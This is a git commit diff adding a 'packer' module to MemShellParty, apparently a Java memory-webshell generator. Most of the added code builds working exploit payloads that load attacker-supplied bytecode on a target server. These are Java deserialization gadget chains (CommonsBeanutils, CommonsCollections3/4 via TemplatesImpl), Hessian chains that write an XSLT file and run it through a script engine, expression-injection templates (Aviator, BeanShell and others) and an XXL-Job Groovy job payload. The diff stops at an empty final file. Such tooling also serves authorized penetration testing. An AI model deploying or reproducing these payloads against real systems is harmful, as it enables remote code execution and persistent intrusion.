refactor: add packer module

This commit is contained in:
ReaJason
2025-08-13 23:53:40 +08:00
parent 2f8ab27ee2
commit a1fec396ba
176 changed files with 830 additions and 1062 deletions
+34
View File
@@ -0,0 +1,34 @@
plugins {
id("java")
alias(libs.plugins.lombok)
id("maven-publish-convention")
}
group = "io.github.reajason"
description = "Java deserialize payload for MemShellParty"
version = rootProject.version
dependencies {
implementation(project(":memshell-party-common"))
implementation(libs.bcel)
implementation(libs.bundles.jna)
implementation(libs.jackson.databind)
implementation("com.caucho:hessian:4.0.66")
implementation("commons-beanutils:commons-beanutils:1.9.2")
implementation("commons-collections:commons-collections:3.2.1")
implementation("org.apache.commons:commons-collections4:4.0")
testImplementation(libs.junit.jupiter)
testRuntimeOnly(libs.junit.platform.launcher)
}
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
tasks.test {
useJUnitPlatform()
}
@@ -0,0 +1,44 @@
package com.reajason.javaweb.packer;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import java.util.stream.Collectors;
/**
* @author ReaJason
* @since 2025/1/26
*/
public interface AggregatePacker extends Packer {
/**
* 聚合打包当前所有分类下的 payload
*
* @param config 生成结果
* @return key -> 打包名称, value -> 打包 payload
*/
default Map<String, String> packAll(ClassPackerConfig config) {
return Packers.getPackersWithParent(this.getClass()).stream().collect(Collectors.toMap(
Enum::name,
packers -> packers.getInstance().pack(config),
(existing, replacement) -> existing,
LinkedHashMap::new
));
}
/**
* 将第一个 sub packer 作为默认输出
*
* @param config 生成的内存马信息
* @return payload
*/
@Override
default String pack(ClassPackerConfig config) {
List<Packers> packersWithParent = Packers.getPackersWithParent(this.getClass());
if (packersWithParent.isEmpty()) {
return null;
}
return packersWithParent.get(0).getInstance().pack(config);
}
}
@@ -0,0 +1,16 @@
package com.reajason.javaweb.packer;
import lombok.SneakyThrows;
import org.apache.bcel.classfile.Utility;
/**
* @author ReaJason
* @since 2024/12/19
*/
public class BCELPacker implements Packer {
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
return "$$BCEL$$" + Utility.encode(config.getClassBytes(), true);
}
}
@@ -0,0 +1,15 @@
package com.reajason.javaweb.packer;
import lombok.Data;
/**
* @author ReaJason
* @since 2025/6/27
*/
@Data
public class ClassPackerConfig {
private String className;
private byte[] classBytes;
private String classBytesBase64Str;
private boolean byPassJavaModule;
}
@@ -0,0 +1,15 @@
package com.reajason.javaweb.packer;
import lombok.Data;
import java.util.Map;
/**
* @author ReaJason
* @since 2025/6/27
*/
@Data
public class JarPackerConfig {
private String mainClassName;
private transient Map<String, byte[]> classBytes;
}
@@ -0,0 +1,18 @@
package com.reajason.javaweb.packer;
/**
* @author ReaJason
* @since 2024/11/26
*/
public interface Packer {
/**
* 将自定义类打包成特定 payload
*
* @param classPackerConfig 自定义类信息
* @return 字符串 payload
*/
default String pack(ClassPackerConfig classPackerConfig) {
throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 string 生成");
}
}
@@ -0,0 +1,145 @@
package com.reajason.javaweb.packer;
import com.reajason.javaweb.packer.aviator.AviatorPacker;
import com.reajason.javaweb.packer.base64.Base64Packer;
import com.reajason.javaweb.packer.base64.DefaultBase64Packer;
import com.reajason.javaweb.packer.base64.GzipBase64Packer;
import com.reajason.javaweb.packer.bsh.BeanShellPacker;
import com.reajason.javaweb.packer.deserialize.hessian.Hessian2Packer;
import com.reajason.javaweb.packer.deserialize.hessian.Hessian2XSLTScriptEnginePacker;
import com.reajason.javaweb.packer.deserialize.hessian.HessianPacker;
import com.reajason.javaweb.packer.deserialize.hessian.HessianXSLTScriptEnginePacker;
import com.reajason.javaweb.packer.deserialize.java.*;
import com.reajason.javaweb.packer.el.ELPacker;
import com.reajason.javaweb.packer.freemarker.FreemarkerPacker;
import com.reajason.javaweb.packer.groovy.GroovyClassDefinerPacker;
import com.reajason.javaweb.packer.groovy.GroovyPacker;
import com.reajason.javaweb.packer.groovy.GroovyScriptEnginePacker;
import com.reajason.javaweb.packer.jar.AgentJarPacker;
import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker;
import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker;
import com.reajason.javaweb.packer.jar.DefaultJarPacker;
import com.reajason.javaweb.packer.jexl.JEXLPacker;
import com.reajason.javaweb.packer.jinjava.JinJavaPacker;
import com.reajason.javaweb.packer.jsp.ClassLoaderJspPacker;
import com.reajason.javaweb.packer.jsp.DefineClassJspPacker;
import com.reajason.javaweb.packer.jsp.JspPacker;
import com.reajason.javaweb.packer.jsp.JspxPacker;
import com.reajason.javaweb.packer.jxpath.JXPathPacker;
import com.reajason.javaweb.packer.mvel.MVELPacker;
import com.reajason.javaweb.packer.ognl.OGNLPacker;
import com.reajason.javaweb.packer.rhino.RhinoPacker;
import com.reajason.javaweb.packer.scriptengine.ScriptEnginePacker;
import com.reajason.javaweb.packer.spel.SpELPacker;
import com.reajason.javaweb.packer.spel.SpELScriptEnginePacker;
import com.reajason.javaweb.packer.spel.SpELSpringIOUtilsGzipPacker;
import com.reajason.javaweb.packer.spel.SpELSpringUtilsPacker;
import com.reajason.javaweb.packer.velocity.VelocityPacker;
import lombok.Getter;
import java.util.List;
import java.util.Objects;
import java.util.stream.Collectors;
import java.util.stream.Stream;
/**
* @author ReaJason
* @since 2025/1/23
*/
@Getter
public enum Packers {
/**
* Base64
*/
Base64(new Base64Packer()),
DefaultBase64(new DefaultBase64Packer(), Base64Packer.class),
GzipBase64(new GzipBase64Packer(), Base64Packer.class),
Jar(new DefaultJarPacker()),
/**
* BCEL
*/
BCEL(new BCELPacker()),
/**
* JSP 打包器
*/
JSP(new JspPacker()),
ClassLoaderJSP(new ClassLoaderJspPacker(), JspPacker.class),
DefineClassJSP(new DefineClassJspPacker(), JspPacker.class),
JSPX(new JspxPacker(), JspPacker.class),
/**
* 脚本引擎打包器
*/
ScriptEngine(new ScriptEnginePacker()),
Rhino(new RhinoPacker()),
/**
* EL
*/
EL(new ELPacker()),
OGNL(new OGNLPacker()),
MVEL(new MVELPacker()),
Aviator(new AviatorPacker()),
JXPath(new JXPathPacker()),
JEXL(new JEXLPacker()),
BeanShell(new BeanShellPacker()),
SpEL(new SpELPacker()),
SpELScriptEngine(new SpELScriptEnginePacker(), SpELPacker.class),
SpELSpringIOUtils(new SpELSpringIOUtilsGzipPacker(), SpELPacker.class),
SpELSpringUtils(new SpELSpringUtilsPacker(), SpELPacker.class),
Groovy(new GroovyPacker()),
GroovyClassDefiner(new GroovyClassDefinerPacker(), GroovyPacker.class),
GroovyScriptEngine(new GroovyScriptEnginePacker(), GroovyPacker.class),
Freemarker(new FreemarkerPacker()),
Velocity(new VelocityPacker()),
JinJava(new JinJavaPacker()),
/**
* Java 反序列化打包器
*/
JavaDeserialize(new JavaDeserializePacker()),
JavaCommonsBeanutils19(new CommonsBeanutils19Packer(), JavaDeserializePacker.class),
JavaCommonsBeanutils18(new CommonsBeanutils18Packer(), JavaDeserializePacker.class),
JavaCommonsBeanutils17(new CommonsBeanutils18Packer(), JavaDeserializePacker.class),
JavaCommonsBeanutils16(new CommonsBeanutils16Packer(), JavaDeserializePacker.class),
JavaCommonsBeanutils110(new CommonsBeanutils110Packer(), JavaDeserializePacker.class),
JavaCommonsCollections3(new CommonsCollections3Packer(), JavaDeserializePacker.class),
JavaCommonsCollections4(new CommonsCollections4Packer(), JavaDeserializePacker.class),
/**
* Hessian 反序列化打包器
*/
Hessian2Deserialize(new Hessian2Packer()),
Hessian2XSLTScriptEngine(new Hessian2XSLTScriptEnginePacker(), Hessian2Packer.class),
HessianDeserialize(new HessianPacker()),
HessianXSLTScriptEngine(new HessianXSLTScriptEnginePacker(), HessianPacker.class),
AgentJar(new AgentJarPacker()),
AgentJarWithJDKAttacher(new AgentJarWithJDKAttacherPacker()),
AgentJarWithJREAttacher(new AgentJarWithJREAttacherPacker()),
XxlJob(new XxlJobPacker()),
;
private final Packer instance;
private Class<?> parentPacker = null;
Packers(Packer instance) {
this.instance = instance;
}
Packers(Packer instance, Class<?> parentPacker) {
this.instance = instance;
this.parentPacker = parentPacker;
}
public static List<Packers> getPackersWithParent(Class<?> parentPacker) {
return Stream.of(Packers.values()).filter(p -> Objects.equals(p.getParentPacker(), parentPacker)).collect(Collectors.toList());
}
}
@@ -0,0 +1,51 @@
package com.reajason.javaweb.packer;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
import java.nio.charset.Charset;
import java.util.HashMap;
import java.util.Map;
import java.util.Objects;
/**
* @author ReaJason
* @since 2025/1/21
*/
public class XxlJobPacker implements Packer {
String template = "";
public XxlJobPacker() {
try {
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/XXL-Job-DefineClass.java")), Charset.defaultCharset());
} catch (IOException ignored) {
}
}
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
String source = template.replace("{{className}}", config.getClassName())
.replace("{{base64Str}}", config.getClassBytesBase64Str());
Map<String, Object> map = new HashMap<>();
map.put("jobId", 1);
map.put("executorHandler", "demoJobHandler");
map.put("executorParams", "demoJobHandler");
map.put("executorBlockStrategy", "COVER_EARLY");
map.put("executorTimeout", 0);
map.put("logId", 1);
map.put("logDateTime", System.currentTimeMillis());
map.put("glueType", "GLUE_GROOVY");
map.put("glueSource", source);
map.put("glueUpdatetime", System.currentTimeMillis());
map.put("broadcastIndex", 0);
map.put("broadcastTotal", 0);
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enable(SerializationFeature.INDENT_OUTPUT); // 美化输出
return objectMapper.writeValueAsString(map);
}
}
@@ -0,0 +1,18 @@
package com.reajason.javaweb.packer.aviator;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class AviatorPacker implements Packer {
String template = "use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectUtils.defineClass('{{className}}', Base64Utils.decodeFromString('{{base64Str}}'), ReflectionUtils.invokeMethod(ClassUtils.getMethod(Class.forName('java.lang.Thread'), 'getContextClassLoader', nil), Thread.currentThread()));";
@Override
public String pack(ClassPackerConfig config) {
return template.replace("{{className}}", config.getClassName())
.replace("{{base64Str}}", config.getClassBytesBase64Str());
}
}
@@ -0,0 +1,10 @@
package com.reajason.javaweb.packer.base64;
import com.reajason.javaweb.packer.AggregatePacker;
/**
* @author ReaJason
* @since 2024/12/17
*/
public class Base64Packer implements AggregatePacker {
}
@@ -0,0 +1,15 @@
package com.reajason.javaweb.packer.base64;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
/**
* @author ReaJason
* @since 2024/12/17
*/
public class DefaultBase64Packer implements Packer {
@Override
public String pack(ClassPackerConfig config) {
return config.getClassBytesBase64Str();
}
}
@@ -0,0 +1,30 @@
package com.reajason.javaweb.packer.base64;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.Base64;
import java.util.zip.GZIPOutputStream;
/**
* @author ReaJason
* @since 2025/1/22
*/
public class GzipBase64Packer implements Packer {
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
return Base64.getEncoder().encodeToString(gzipCompress(config.getClassBytes()));
}
public static byte[] gzipCompress(byte[] data) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
try (GZIPOutputStream gzip = new GZIPOutputStream(out)) {
gzip.write(data);
}
return out.toByteArray();
}
}
@@ -0,0 +1,19 @@
package com.reajason.javaweb.packer.bsh;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/**
* @author ReaJason
* @since 2025/1/30
*/
public class BeanShellPacker implements Packer {
String template = "new javax.script.ScriptEngineManager().getEngineByName(\"js\").eval(\"{{script}}\")";
@Override
public String pack(ClassPackerConfig config) {
String script = Packers.ScriptEngine.getInstance().pack(config);
return template.replace("{{script}}", script.replaceAll("\\\"", "'"));
}
}
@@ -0,0 +1,34 @@
package com.reajason.javaweb.packer.deserialize;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.HessianOutput;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
import java.io.ByteArrayOutputStream;
/**
* @author ReaJason
* @since 2025/2/19
*/
public class HessianDeserializeGenerator {
@SneakyThrows
public static String generate(Object obj) {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
HessianOutput hessianOutput = new HessianOutput(bos);
hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
hessianOutput.writeObject(obj);
hessianOutput.close();
return Base64.encodeBase64String(bos.toByteArray());
}
@SneakyThrows
public static String generate2(Object obj) {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(bos);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(obj);
hessian2Output.close();
return Base64.encodeBase64String(bos.toByteArray());
}
}
@@ -0,0 +1,24 @@
package com.reajason.javaweb.packer.deserialize;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class JavaDeserializeGenerator {
@SneakyThrows
public static String generate(Object obj) {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(obj);
oos.flush();
oos.close();
return Base64.encodeBase64String(bos.toByteArray());
}
}
@@ -0,0 +1,39 @@
package com.reajason.javaweb.packer.deserialize;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.jar.asm.Opcodes;
/**
* @author ReaJason
* @since 2024/12/9
*/
public class TemplateUtils {
@SneakyThrows
public static TemplatesImpl createTemplatesImpl(byte[] bytes) {
TemplatesImpl templates = new TemplatesImpl();
byte[] fooBytes;
try (DynamicType.Unloaded<Object> make = new ByteBuddy()
.subclass(Object.class).name("foo")
.visit(new TargetJreVersionVisitorWrapper(Opcodes.V1_6))
.make()) {
fooBytes = ClassBytesShrink.shrink(make.getBytes(), true);
}
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{
bytes, fooBytes
});
Reflections.setFieldValue(templates, "_transletIndex", 0);
Reflections.setFieldValue(templates, "_name", "SimpleJava");
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
}
@@ -0,0 +1,11 @@
package com.reajason.javaweb.packer.deserialize.hessian;
import com.reajason.javaweb.packer.AggregatePacker;
/**
* @author ReaJason
* @since 2025/2/20
*/
public class Hessian2Packer implements AggregatePacker {
}
@@ -0,0 +1,18 @@
package com.reajason.javaweb.packer.deserialize.hessian;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.deserialize.HessianDeserializeGenerator;
/**
* @author ReaJason
* @since 2025/2/20
*/
public class Hessian2XSLTScriptEnginePacker implements Packer {
@Override
public String pack(ClassPackerConfig config) {
byte[] injectorBytes = config.getClassBytes();
String injectorClassName = config.getClassName();
return HessianDeserializeGenerator.generate2(XSLTScriptEngine.generate(injectorBytes, injectorClassName));
}
}
@@ -0,0 +1,11 @@
package com.reajason.javaweb.packer.deserialize.hessian;
import com.reajason.javaweb.packer.AggregatePacker;
/**
* @author ReaJason
* @since 2025/2/20
*/
public class HessianPacker implements AggregatePacker {
}
@@ -0,0 +1,19 @@
package com.reajason.javaweb.packer.deserialize.hessian;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.deserialize.HessianDeserializeGenerator;
/**
* @author ReaJason
* @since 2025/2/20
*/
public class HessianXSLTScriptEnginePacker implements Packer {
@Override
public String pack(ClassPackerConfig config) {
byte[] injectorBytes = config.getClassBytes();
String injectorClassName = config.getClassName();
return HessianDeserializeGenerator.generate(XSLTScriptEngine.generate(injectorBytes, injectorClassName));
}
}
@@ -0,0 +1,49 @@
package com.reajason.javaweb.packer.deserialize.hessian;
import com.reajason.javaweb.packer.deserialize.utils.HessianUtils;
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
import lombok.SneakyThrows;
import javax.swing.*;
import java.util.Arrays;
import java.util.Base64;
import java.util.HashMap;
/**
* @author ReaJason
* @since 2025/2/19
*/
public class XSLTScriptEngine {
@SneakyThrows
public static Object generate(byte[] bytes, String className) {
String base64Str = Base64.getEncoder().encodeToString(bytes);
String tmpPath = "/tmp/CACHE_XML";
String xml = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n" +
" xmlns:se=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager\"\n" +
" xmlns:js=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngine\">\n" +
" <xsl:template match=\"/\">\n" +
" <xsl:variable name=\"js\" select=\"&quot;var classLoader = java.lang.Thread.currentThread().getContextClassLoader();var className = '" + className + "';var base64Str = '" + base64Str + "';try { classLoader.loadClass(className).newInstance();} catch (e) { var clsString = classLoader.loadClass('java.lang.String'); var bytecode; try { var clsBase64 = classLoader.loadClass('java.util.Base64'); var clsDecoder = classLoader.loadClass('java.util.Base64$Decoder'); var decoder = clsBase64.getMethod('getDecoder').invoke(base64Clz); bytecode = clsDecoder.getMethod('decode', clsString).invoke(decoder, base64Str); } catch (ee) { try { var datatypeConverterClz = classLoader.loadClass('javax.xml.bind.DatatypeConverter'); bytecode = datatypeConverterClz.getMethod('parseBase64Binary', clsString).invoke(datatypeConverterClz, base64Str); } catch (eee) { var clazz1 = classLoader.loadClass('sun.misc.BASE64Decoder'); bytecode = clazz1.newInstance().decodeBuffer(base64Str); } } var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader'); var clsByteArray = (new java.lang.String('a').getBytes().getClass()); var clsInt = java.lang.Integer.TYPE; var defineClass = clsClassLoader.getDeclaredMethod('defineClass', [clsByteArray, clsInt, clsInt]); defineClass.setAccessible(true); var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length)); clazz.newInstance();}new java.io.File('" + tmpPath + "').delete()&quot;\" />\n" +
" <xsl:variable name=\"result\" select=\"js:eval(se:getEngineByName(se:new(),'js'), $js)\"/>\n" +
" <xsl:value-of select=\"$result\"/>\n" +
" </xsl:template>\n" +
"</xsl:stylesheet>\n";
UIDefaults.ProxyLazyValue writeValue = new UIDefaults.ProxyLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{tmpPath, xml.getBytes()});
Reflections.setFieldValue(writeValue, "acc", null);
UIDefaults.ProxyLazyValue processValue = new UIDefaults.ProxyLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "file://" + tmpPath}});
Reflections.setFieldValue(processValue, "acc", null);
HashMap<Object, Object> map1 = new HashMap<>(1);
HashMap<Object, Object> map2 = new HashMap<>(1);
HashMap<Object, Object> map3 = new HashMap<>(1);
HashMap<Object, Object> map4 = new HashMap<>(1);
map1.put("a", new UIDefaults(new Object[]{"abc", writeValue}));
map2.put("a", new UIDefaults(new Object[]{"abc", writeValue}));
map3.put("b", new UIDefaults(new Object[]{"ccc", processValue}));
map4.put("b", new UIDefaults(new Object[]{"ccc", processValue}));
return HessianUtils.toMap(Arrays.asList(map1, map2, map3, map4));
}
}
@@ -0,0 +1,46 @@
package com.reajason.javaweb.packer.deserialize.java;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.deserialize.JavaDeserializeGenerator;
import com.reajason.javaweb.packer.deserialize.TemplateUtils;
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.description.modifier.FieldManifestation;
import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
import org.apache.commons.beanutils.BeanComparator;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.Comparator;
import java.util.PriorityQueue;
/**
* @author ReaJason
* @since 2025/2/17
*/
public class CommonsBeanutils110Packer implements Packer {
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
Object comparator = new ByteBuddy()
.redefine(BeanComparator.class)
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
.value(1L).make()
.load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded()
.getDeclaredConstructor(String.class, Comparator.class)
.newInstance(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<>(2, ((Comparator) comparator));
queue.add("1");
queue.add("1");
Object obj = TemplateUtils.createTemplatesImpl(config.getClassBytes());
Reflections.setFieldValue(comparator, "property", "outputProperties");
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
return JavaDeserializeGenerator.generate(queue);
}
}
@@ -0,0 +1,47 @@
package com.reajason.javaweb.packer.deserialize.java;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.deserialize.JavaDeserializeGenerator;
import com.reajason.javaweb.packer.deserialize.TemplateUtils;
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.description.modifier.FieldManifestation;
import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
import org.apache.commons.beanutils.BeanComparator;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.Comparator;
import java.util.PriorityQueue;
/**
* @author ReaJason
* @since 2025/2/17
*/
public class CommonsBeanutils16Packer implements Packer {
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
Object comparator = new ByteBuddy()
.redefine(BeanComparator.class)
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
.value(2573799559215537819L).make()
.load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded()
.getDeclaredConstructor(String.class, Comparator.class)
.newInstance(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<>(2, ((Comparator) comparator));
queue.add("1");
queue.add("1");
Reflections.setFieldValue(comparator, "property", "outputProperties");
Object obj = TemplateUtils.createTemplatesImpl(config.getClassBytes());
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
return JavaDeserializeGenerator.generate(queue);
}
}
@@ -0,0 +1,47 @@
package com.reajason.javaweb.packer.deserialize.java;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.deserialize.JavaDeserializeGenerator;
import com.reajason.javaweb.packer.deserialize.TemplateUtils;
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.description.modifier.FieldManifestation;
import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
import org.apache.commons.beanutils.BeanComparator;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.Comparator;
import java.util.PriorityQueue;
/**
* @author ReaJason
* @since 2025/2/17
*/
public class CommonsBeanutils18Packer implements Packer {
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
Object comparator = new ByteBuddy()
.redefine(BeanComparator.class)
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
.value(-3490850999041592962L).make()
.load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded()
.getDeclaredConstructor(String.class, Comparator.class)
.newInstance(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<>(2, ((Comparator) comparator));
queue.add("1");
queue.add("1");
Reflections.setFieldValue(comparator, "property", "outputProperties");
Object obj = TemplateUtils.createTemplatesImpl(config.getClassBytes());
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
return JavaDeserializeGenerator.generate(queue);
}
}
@@ -0,0 +1,45 @@
package com.reajason.javaweb.packer.deserialize.java;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.deserialize.JavaDeserializeGenerator;
import com.reajason.javaweb.packer.deserialize.TemplateUtils;
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.description.modifier.FieldManifestation;
import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
import org.apache.commons.beanutils.BeanComparator;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.Comparator;
import java.util.PriorityQueue;
/**
* @author ReaJason
* @since 2025/2/17
*/
public class CommonsBeanutils19Packer implements Packer {
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
Object comparator = new ByteBuddy()
.redefine(BeanComparator.class)
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
.value(-2044202215314119608L).make()
.load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded()
.getDeclaredConstructor(String.class, Comparator.class)
.newInstance(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<>(2, ((Comparator) comparator));
queue.add("1");
queue.add("1");
Reflections.setFieldValue(comparator, "property", "outputProperties");
Object obj = TemplateUtils.createTemplatesImpl(config.getClassBytes());
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
return JavaDeserializeGenerator.generate(queue);
}
}
@@ -0,0 +1,43 @@
package com.reajason.javaweb.packer.deserialize.java;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.deserialize.JavaDeserializeGenerator;
import com.reajason.javaweb.packer.deserialize.TemplateUtils;
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import lombok.SneakyThrows;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2025/2/17
*/
public class CommonsCollections3Packer implements Packer {
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
TemplatesImpl templates = TemplateUtils.createTemplatesImpl(config.getClassBytes());
InvokerTransformer invokerTransformer = new InvokerTransformer("toString", null, null);
Map innerMap = new HashMap<>();
Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);
Map expMap = new HashMap<>();
expMap.put(tiedMapEntry, "valueTest");
outerMap.remove(templates);
Reflections.setFieldValue(invokerTransformer, "iMethodName", "newTransformer");
return JavaDeserializeGenerator.generate(expMap);
}
}
@@ -0,0 +1,41 @@
package com.reajason.javaweb.packer.deserialize.java;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.deserialize.JavaDeserializeGenerator;
import com.reajason.javaweb.packer.deserialize.TemplateUtils;
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import lombok.SneakyThrows;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.util.PriorityQueue;
/**
* @author ReaJason
* @since 2025/2/17
*/
public class CommonsCollections4Packer implements Packer {
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
TemplatesImpl templates = TemplateUtils.createTemplatesImpl(config.getClassBytes());
ChainedTransformer chain =
new ChainedTransformer(
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class}, new Object[]{templates}));
TransformingComparator comparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(2, comparator);
Reflections.setFieldValue(queue, "size", 2);
Reflections.setFieldValue(queue, "comparator", comparator);
return JavaDeserializeGenerator.generate(queue);
}
}
@@ -0,0 +1,11 @@
package com.reajason.javaweb.packer.deserialize.java;
import com.reajason.javaweb.packer.AggregatePacker;
/**
* @author ReaJason
* @since 2024/12/10
*/
public class JavaDeserializePacker implements AggregatePacker {
}
@@ -0,0 +1,32 @@
